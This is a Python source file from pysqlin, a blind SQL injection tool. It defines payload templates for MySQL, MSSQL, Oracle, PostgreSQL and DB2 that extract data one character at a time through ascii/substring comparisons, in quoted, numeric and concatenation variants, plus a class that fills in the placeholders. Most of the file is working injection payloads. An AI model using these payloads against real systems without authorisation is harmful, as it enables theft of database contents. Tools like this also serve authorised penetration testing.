'''
queries.py

Copyright 2009 Xavier Mendez Navarro aka Javi

This file is part of pysqlin

pysqlin is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

pysqlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with pysqlin; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
'''



import re
import copy
import logging

class Database:
    # database
    MYSQL = "mysql"
    MSSQL = 'mssql'
    ORACLE = "oracle"
    DB2 = "DB2"
    PSQL= "PostgreSQL"
    INFORMIX = "Informix"
    SYBASE = "Sybase"
    MSACCESS = "MSAccess"
    POINTBASE = "Pointbase"

    # injection type
    TUnescaped = "Unescaped Injection"
    TNumeric = "Numeric Injection"
    TSingleQuote = "Single Quoted Injection"
    TDoubleQuote = "Double Quoted Injection"
    TConcatPipe = "Pipe concatenation Injection"
    TConcatPlus = "Plus concatenation Injection"
    TUser = "User test"

    # Common tests
    tests = {
	MYSQL: {
	    TUnescaped: " and ascii(substring(({@SELECT@}),{@POS@},1))>{@CHAR@} and 1=1",
	    TSingleQuote: "' and ascii(substring(({@SELECT@}),{@POS@},1))>{@CHAR@} and '1'='1",
	    TDoubleQuote: '" and ascii(substring(({@SELECT@}),{@POS@},1))>{@CHAR@} and "1"="1',
	    TNumeric: "-((sign((ascii(substring(({@SELECT@}),{@POS@},1))-{@CHAR@}))-1)*(-999))",
	    TConcatPlus: "'%2Bsubstring('1',1,(sign(ascii(substring(({@SELECT@}),{@POS@},1))-{@CHAR@})-1))%2B'",
	    TConcatPipe: "",
	    TUser: "user()",
	},
	MSSQL: {
	    TUnescaped: " and ascii(substring(({@SELECT@}),{@POS@},1))>{@CHAR@}%20and%201=1",
	    TSingleQuote: "' and ascii(substring(({@SELECT@}),{@POS@},1))>{@CHAR@} and '1'='1",
	    TDoubleQuote: '" and ascii(substring(({@SELECT@}),{@POS@},1))>{@CHAR@} and "1"="1',
	    TNumeric: "-((sign((ascii(substring(({@SELECT@}),{@POS@},1))-{@CHAR@}))-1)*(-999))",
	    TConcatPlus: "'%2Bsubstring('1',1,(sign(ascii(substring(({@SELECT@}),{@POS@},1))-{@CHAR@})-1))%2B'",
	    TConcatPipe: "",
	    TUser: "user",
	},
	ORACLE: {
	    TUnescaped: " and ascii(substr(({@SELECT@}),{@POS@},1))>{@CHAR@} and 1=1",
	    TSingleQuote: "' and ascii(substr(({@SELECT@}),{@POS@},1))>{@CHAR@} and '1'='1",
	    TDoubleQuote: '" and ascii(substr(({@SELECT@}),{@POS@},1))>{@CHAR@} and "1"="1',
	    TNumeric: "-((sign((ascii(substr(({@SELECT@}),{@POS@},1))-{@CHAR@}))-1)*(-999))",
	    TConcatPlus: "'%2Bsubstr('1',1,(sign(ascii(substr(({@SELECT@}),{@POS@},1))-{@CHAR@})-1))%2B'",
	    TConcatPipe: "||substr(1,1,({@CHAR@}-(ascii(substr({@SELECT@},{@POS@},1))-1)))",
	    TUser: "user",
	},
	PSQL: {
	    TUnescaped: " and ascii(substr(({@SELECT@}),{@POS@},1))>{@CHAR@} and 1=1",
	    TSingleQuote: "' and ascii(substr(({@SELECT@}),{@POS@},1))>{@CHAR@} and '1'='1",
	    TDoubleQuote: '" and ascii(substr(({@SELECT@}),{@POS@},1))>{@CHAR@} and "1"="1',
	    TNumeric: "-((sign((ascii(substr(({@SELECT@}),{@POS@},1))-{@CHAR@}))-1)*(-999))",
	    TConcatPlus: "'||substr('1',1,(sign(ascii(substr(({@SELECT@}),{@POS@},1))-{@CHAR@})-1))||'",
	    TConcatPipe: "",
	    TUser: "user",
	},
	DB2: {
	    TUnescaped: " and ascii(substr(({@SELECT@}),{@POS@},1))>{@CHAR@} and 1=1",
	    TSingleQuote: "' and ascii(substr(({@SELECT@}),{@POS@},1))>{@CHAR@} and '1'='1",
	    TDoubleQuote: '" and ascii(substr(({@SELECT@}),{@POS@},1))>{@CHAR@} and "1"="1',
	    TNumeric: "-((sign((ascii(substr(({@SELECT@}),{@POS@},1))-{@CHAR@}))-1)*(-999))",
	    TConcatPlus: "",
	    TConcatPipe: "'||substr('1',1,(sign(ascii(substr(({@SELECT@}),{@POS@},1))-{@CHAR@})-1))||'",
	    TUser: "select user from sysibm.sysdummy1",
	},
    }

    @staticmethod
    def db_names():
	#return [Database.MYSQL, Database.MSSQL, Database.ORACLE, Database.DB2, Database.PSQL, Database.INFORMIX, Database.SYBASE, Database.MSACCESS, Database.POINTBASE]
	return [Database.MYSQL, Database.MSSQL, Database.ORACLE, Database.PSQL]

class Query:
    def __init__(self, name = None, select = None, charset_str = None, kfield = [], splits = ''):
	self.name = name
	self.select = select
	self.set_charset(charset_str)
	self.kbase_field = kfield
	self.split_string = splits

    # ------------------------------------------------
    # Factory functions
    # ------------------------------------------------
    @staticmethod
    def from_user(db):
	return Query(select=Database.tests[db][Database.TUser])

    # ------------------------------------------------
    # data functions
    # ------------------------------------------------
    def get_min_max(self):
	min, max = (0, 255)

	if self.charset is not None:
	    min, max = (0, len(self.charset)-1)

	return (min, max)

    def char_to_charset(self, char_number):
	char = char_number

	if self.charset is not None:
	    char = self.charset[char_number]

	return char

    def set_charset(self, charset_str):
	if charset_str is not None:
	    self.charset = [ord(c) for c in charset_str]
	    self.charset.sort()
	else:
	    self.charset = None

    # ------------------------------------------------
    # substitute injection parameters functions
    # ------------------------------------------------
    def expand(self, kwargs):
	cp = copy.deepcopy(self)

	for k in kwargs.keys():
	    cp.select = cp.select.replace("{@" + k.lower() + "@}", kwargs[k])
	    cp.select = cp.select.replace("{@" + k.upper() + "@}", kwargs[k])

	    cp.kbase_field = map(lambda x: x.replace("{@" + k.lower() + "@}", kwargs[k]), cp.kbase_field)
	    cp.kbase_field = map(lambda x: x.replace("{@" + k.upper() + "@}", kwargs[k]), cp.kbase_field)

	return cp

    def expand_kbase(self, values):
	l = []

	for k in self.kbase_field:
	    p = re.compile('({@field:(\d+)@})')
	    for m, index in p.findall(k):
		try:
		    k = k.replace(m.lower(), values[int(index)])
		    k = k.replace(m.upper(), values[int(index)])
		except IndexError:
		    pass

	    l.append(k)

	return l
